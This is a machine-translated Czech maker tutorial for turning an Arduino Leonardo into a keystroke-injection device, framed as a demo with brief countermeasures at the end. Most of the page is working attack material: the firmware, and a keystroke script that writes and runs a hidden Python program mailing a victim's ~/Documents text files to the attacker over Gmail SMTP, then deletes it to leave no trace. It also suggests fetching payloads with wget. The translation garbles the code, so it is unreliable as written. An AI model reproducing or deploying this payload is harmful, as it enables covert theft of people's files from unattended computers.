Obsah:

Demo (HID) a prevence klávesnice Arduino: 4 kroky (s obrázky)
Demo (HID) a prevence klávesnice Arduino: 4 kroky (s obrázky)

Video: Demo (HID) a prevence klávesnice Arduino: 4 kroky (s obrázky)

Video: Demo (HID) a prevence klávesnice Arduino: 4 kroky (s obrázky)
Video: Web Programming - Computer Science for Business Leaders 2016 2024, Červenec
Anonim
Image
Image
Stavba zařízení
Stavba zařízení

V tomto projektu použijeme arduino leonardo k simulaci možného USB útoku pomocí HID (humain interface device).

Tento tutoriál jsem nevytvořil, abych pomohl hackerům, ale abych vám ukázal skutečná nebezpečí a jak se před těmito nebezpečími chránit. Toto zařízení není zařízení, které lze použít na jakékoli platformě pro hackery, je to spíše důkaz konceptu v detailu.

Naučíme se následující:

- jak používat arduino leonardo k emulaci klávesnice

- jak číst data z SD karet

- jak vytvořit python skript, který skenuje soubory a odesílá je e -mailem

- jak chránit své já před hackovacími zařízeními USB

Krok 1: Materiály

Díly:

1. Arduino leonardo

2. čtečka karet micro USB

3. několik GB SD karta

4. tlačítko jako toto (VCC, Ground a signal)

5. propojovací kabely samice a samice a samice

6. kabel micro USB na USB

Krok 2: Sestavení zařízení

Stavba zařízení
Stavba zařízení

Před stavebním návodem se podívejme na pracovní princip:

Arduino leonardo se může chovat jako zařízení lidského rozhraní (HID), a proto může emulovat myš a klávesnici. Tuto funkci použijeme k otevření terminálu (v Linuxu UBUNTU) a k napsání malého skriptu, který přistoupí ke složce /Documents uvnitř domovské složky uživatele, zkopíruje tam soubory.txt a pošle je někomu e -mailem. Pokud se chcete dozvědět více podrobností, zkontrolujte další krok.

Protože je to demo zařízení, věci jsou opravdu jednoduché, nebudeme nic pájet.

Stavební návod

Než začneme, zkontrolujte připojené soubory, připojil jsem schematická schémata a všechny potřebné soubory

1. Sestavte součásti:

* zapojte kabel micro USB do arduina

* klíčový spínač připojte k arduinu (modul uzemnění, vcc a out do D8)

* připojte čtečku karet k arduinu (pomocí ICSP hlavičky). Arduino leonardo nemá hlavičku ICSP připojenou k digitálním pinům, takže budete muset připojit čtečku karet k hlavičce ICSP. Nějaké nákresy ICSP najdete zde: https://learn.sparkfun.com/tutorials/installing-an…. Připojte pin SS k digitálnímu kolíku 10

2. získejte kód arduino, můžete klonovat mé úložiště arduino na github: https://github.com/danionescu0/arduino a přejděte na projekty/keyboard_exploit nebo jej získáte zdola:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; Řetězec sleepCommandStartingPoint = "Spánek::"; Řetězec commandStartingPoint = "Command::"; int delayBetweenCommands = 10; tlačítko const intPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; neplatné nastavení () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Karta selhala nebo není přítomna!"); vrátit se; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Nahráno!"); zpoždění (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Zadaný název souboru není na kartě SD přítomen, zkontrolujte název_souboruOnCard!"); } Řetězec; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (řádek); sendToKeyboard (řádek); } dataFile.close (); } void sendToKeyboard (Řetězec řetězce) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (řádek); vrátit se; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (řádek); Keyboard.println (řádek); stiskněte Enter(); vrátit se; } Serial.println ("Příkaz:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Řetězec příkaz = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (příkaz! = "") {Serial.print ("Příkaz nalezen:"); Serial.println (příkaz); Keyboard.press (getCommandCode (příkaz)); delay (delayBetweenCommands); }} Keyboard.releaseAll (); delay (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (Řetězec) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Spaní pro:"); Serial.println (sleepAmount); zpoždění (sleepAmount); } char getCommandCode (řetězec textu) {char textCharacter [2]; text.toCharArray (textové znaky, 2); znakový kód = textZnaky [0]; kód = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kód; kód = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kód; kód = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kód; kód = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: kód; code = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kód; kód = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kód; kód = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kód; kód = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kód; kód = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: kód; code = (text == "KEY_TAB")? KEY_TAB: kód; kód = (text == "KEY_RETURN")? KEY_RETURN: kód; code = (text == "KEY_ESC")? KEY_ESC: kód; kód = (text == "KEY_INSERT")? KEY_INSERT: kód; kód = (text == "KEY_DELETE")? KEY_DELETE: kód; kód = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: kód; kód = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kód; kód = (text == "KEY_HOME")? KEY_HOME: kód; code = (text == "KEY_END")? KEY_END: kód; kód = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kód; kód = (text == "KEY_F1")? KEY_F1: kód; kód = (text == "KEY_F2")? KEY_F2: kód; kód = (text == "KEY_F3")? KEY_F3: kód; kód = (text == "KEY_F4")? KEY_F4: kód; kód = (text == "KEY_F5")? KEY_F5: kód; kód = (text == "KEY_F6")? KEY_F6: kód; kód = (text == "KEY_F7")? KEY_F7: kód; kód = (text == "KEY_F8")? KEY_F8: kód; kód = (text == "KEY_F9")? KEY_F9: kód; kód = (text == "KEY_F10")? KEY_F10: kód; kód = (text == "KEY_F11")? KEY_F1: kód; kód = (text == "KEY_F12")? KEY_F2: kód;

návratový kód;

}

3. Nahrajte kód do arduina, nezapomeňte vybrat 9600 baud rate, sériový port a arduino leonardo

4. Naformátujte kartu SD pomocí FAT16 nebo FAT32

5. Pokud jste naklonovali repo github shora, zkopírujte soubor hack.txt na kartu, pokud ne, je soubor uveden níže:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. Import MIMEText MIMEText z e -mailu. Nástroj importuje COMMASPACE, datum formátování z importu e -mailu Kodéry

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'adresa_příjemce' scan_documents_location = 'dokumenty'

předmět = tělo = 'Soubory z napadeného počítače'

header = 'Komu: {0} nOd: {1} nPředmět: {2} n'.format (to_address, smtp_user, předmět)

def sendMail (do, předmět, text, soubory = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (text)) pro soubor v souborech: part = MIMEBase ('aplikace', "octet-stream") part.set_payload (open (soubor, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (soubor)) msg.attach (část)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], předmět, tělo, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Upravte následující řádky:

smtp_user = 'sender_email_addr'

smtp_pass = 'heslo odesílatele' to_address = 'adresa_příjemce'

A nahraďte je svými e -mailovými adresami

7. Vyjměte kartu a vložte ji do čtečky arduino karet

Krok 3: Jak to funguje v detailech

Jak bude útok fungovat:

1. Po stisknutí tlačítka leonardo přečte kartu SD pomocí čtečky karet SD. Na kartě bude speciální soubor obsahující klíče a kombinace klíčů. Název souboru je "hack.txt".

Soubor může obsahovat nezpracovaný text a bude předán na klávesnici tak, jak je.

Může také obsahovat speciální příkazy jako „Spánek::“a „Příkaz::“.

Řádek jako:

Spánek:: 200 znamená spánek 200 ms

Řádek jako:

Příkaz:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t znamená stisknutí levého ctrl, stisknutí levého alt, t stisknutí a vše uvolněno

Všechny speciální klíče můžete zkontrolovat zde:

2. Leonardo bude číst řádek po řádku a interpretovat příkazy a emulovat klávesy na klávesnici. Soubor "hack.txt" obsahuje kombinaci klíčů, které dělají následující (pro UBUNTU linux):

A. otevře terminál (CTRL + ALT + T)

b. otevře soubor pythonu pro vytvoření pomocí vi (zapíše "vi hack.py"

C. zapisuje skript pythonu, který shromažďuje všechny textové soubory v domovské složce dokumentů a odesílá je na zadanou adresu gmail

d. spustí soubor na pozadí („nohup python hack.py &“)

E. odstraní soubor (rm -rf hack.py)

F. zavírá terminál (ALT + F4)

Celé to běží za pár sekund a nezanechává stopy.

Vylepšení a řešení potíží

* Můžete si všimnout, že poté, co otevírám terminál, píšu soubor pythonu. lepší způsob, jak to udělat, je někde ho hostit a stáhnout pomocí příkazu „wget some_url“, poté jej přejmenovat na hack.py

* Také můžeme stáhnout nebo spustit ready made exploit pro cílový operační systém

* do modulu lze přidat wifi a hacky lze nahrát přes WIFI

* můžete použít arduino micro (který je mnohem menší) a vložit do něj kód exploitu (aby byl menší)

Omezení

1. Protože simulované zařízení (klávesnice a myš) nemá žádnou zpětnou vazbu, nevíme, co se stane po vydání příkazu, což znamená, že musíme použít zpoždění. Například vydávám příkaz k otevření terminálu, ale nevím, kdy bude skutečně otevřený, takže potřebuji zadat libovolné zpoždění, aby se zajistilo, že znaky, které zadáte poté, nebudou ztraceny.

2. Můžeme se setkat s problémy s oprávněními, jako je nedostatek přístupu k portu USB nebo oprávnění něco instalovat

3. Rychlost psaní na Leonardo není tak velká

4. Bude fungovat pouze na cíleném operačním systému (v našem případě UBUNTU linux)

V dalším kroku se pokusíme najít způsoby, jak využít tato omezení, abychom zabránili hacknutí našeho počítače

Krok 4: Protiopatření

1. Deaktivace portů USB

-pro Windows můžete zkontrolovat tento návod:

2. Seznam povolených zařízení USB:

- pro Windows:

2. Zamkněte počítač, když nejste pryč

3. Nepřihlašujte se jako root (pro instalaci čehokoli vyžadujte hesla)

4. Udržujte své vlastní aktuální (automatické aktualizace zapnuty)

Doporučuje: